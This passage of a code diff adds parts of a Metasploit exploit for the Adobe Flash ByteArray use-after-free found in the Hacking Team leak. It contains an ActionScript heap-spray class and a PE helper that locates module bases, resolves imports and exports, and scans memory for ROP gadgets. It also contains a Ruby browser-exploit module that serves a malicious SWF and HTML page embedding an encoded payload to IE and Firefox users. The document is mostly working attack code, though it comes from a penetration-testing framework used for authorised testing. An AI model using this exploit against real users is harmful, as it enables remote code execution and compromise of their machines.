a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint,
a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint,
a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint,
a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint,
a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint,
a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint,
a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint,
a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint,
a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint,
a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint,
a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint,
a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint,
a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint,
a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint,
a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint,
a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint,
a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint,
a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint,
a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint,
a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, a707:uint, a708:uint, a709:uint,
a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, a718:uint, a719:uint,
a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint,
a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint,
a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint,
a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint,
a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint,
a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint,
a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint,
a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint,
a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint,
a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint,
a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint,
a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint,
a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint,
a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint,
a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint,
a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint,
a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint,
a890:uint, a891:uint, a892:uint, a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint
// constructor
function MyClass2(id:int)
{
o1 = this;
a0 = id;
for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344;
}
}
}

72
external/source/exploits/hacking_team/PE.as vendored Executable file
View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,143 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray Use After Free',
'Description' => %q{
This module exploits an use after free on Adobe Flash Player. The vulnerability,
discovered by Hacking Team and made public on its July 2015 data leak, was
described as an Use After Free while handling ByteArray objects. This module has
been tested successfully on:
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Someone from HackingTeam
'juan vazquez' # msf module
],
'References' =>
[
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'],
['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'linux'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 06 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'hacking_team', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end